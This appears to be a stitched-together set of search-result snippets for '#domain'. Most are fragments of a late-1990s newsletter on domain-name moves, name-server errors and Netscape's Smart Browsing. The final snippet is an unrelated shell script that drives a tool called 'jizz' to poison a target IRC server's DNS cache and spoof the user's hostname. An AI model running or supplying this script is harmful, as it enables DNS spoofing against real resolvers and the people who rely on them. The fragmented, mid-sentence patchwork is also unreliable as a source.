#domain

... ternet Keywords option turned off in the preferences (in the Smart Browsing category -- see http://www.poorrichard.com/newsltr/012.htm#domain for a discussion of this feature). So I turned the feature back on, and tried again. This time I got a search-results page containing four links to pizza-related Web sites (none of which were pizza.com or pizza.net), followed by links to pizza.com, pizza.net, and pizza.org, with pizza.com at the top of the list. (Pizza.org is owned by yet another organization, but doesn't seem to have anything to do with pizza.) In any case, most Internet users assume that a domain is .com. It's Amazon. ...

... us domain-name problems I had when moving a domain: Moving Domain Names ... and Losing Them http://www.poorrichard.com/newsltr/023.htm#domain Missing Domains ... the Saga Continues http://www.poorrichard.com/newsltr/024.htm#domain Domains Names -- Tell 'em When You Leave http://www.poorrichard.com/newsltr/024.htm#domain2 Hitting Your Site From Other Name Servers http://www.poorrichard.com/newsltr/024.htm#hit I had a problem when the name servers that were responsible for the domain name did not change when I moved my domain. Originally it was my fault; I should have informed the adm ...

... the Internet through US West, for instance, would not have been able to get to the domain. http://www.poorrichard.com/newsltr/023.htm#domain Well, just a few days ago, several weeks after the problem had been resolved ... it reoccurred! I tried to access the Web site, and found a USWest.net Web page saying my Web site was under construction! I called US West immediately, and they changed the information in the name servers. But how could this occur? The technician suggested that something might be "mapping from some other table somewhere." A colleague had the idea that perhaps they'd had a problem, and restored some old backups, ...

... me Rules: II In the last issue I talked about Netscape's new Smart Browsing "feature" ( http://www.poorrichard.com/newsltr/012.htm#domain ). Navigator 4.5 Preview edition handles text typed into the Location bar in a new manner. If you type a full domain name, it simply looks up the domain name as usual, and transfers the Web page. But if you type a single word -- without the .com, .org, or .whatever bit at the end -- it sends that word to one of the Netscape Communications computers, which then decides what you want to see. It turns out that Netscape has set up a series of ten huge databases. The computer checks the word you ent ...

... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- #!/bin/sh #Script por ][MoSCa][ - BrasNET HOST=$RANDOM NSDOMAIN=your.ns.org #domain we control DEVICE=ppp0 #name of device we want to use MEUIP=$1 if [ $# -ne '3' ]; then echo "usage: $0 <Ip> <Spoof> <Irc Server>" exit fi killall jizz sleep 1 jizz $HOST.$NSDOMAIN $NSDOMAIN $MEUIP $NSDOMAIN $MEUIP $2 & nslookup <<END > /dev/null 2> /dev/null server $3 set q=soa $HOST.$NSDOMAIN exit END RESULT=`nslookup $MEUIP $3 | grep Name | cut -d ":" -f2` echo echo -= $RESULT IN A $MEUIP =- echo sleep 1 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ...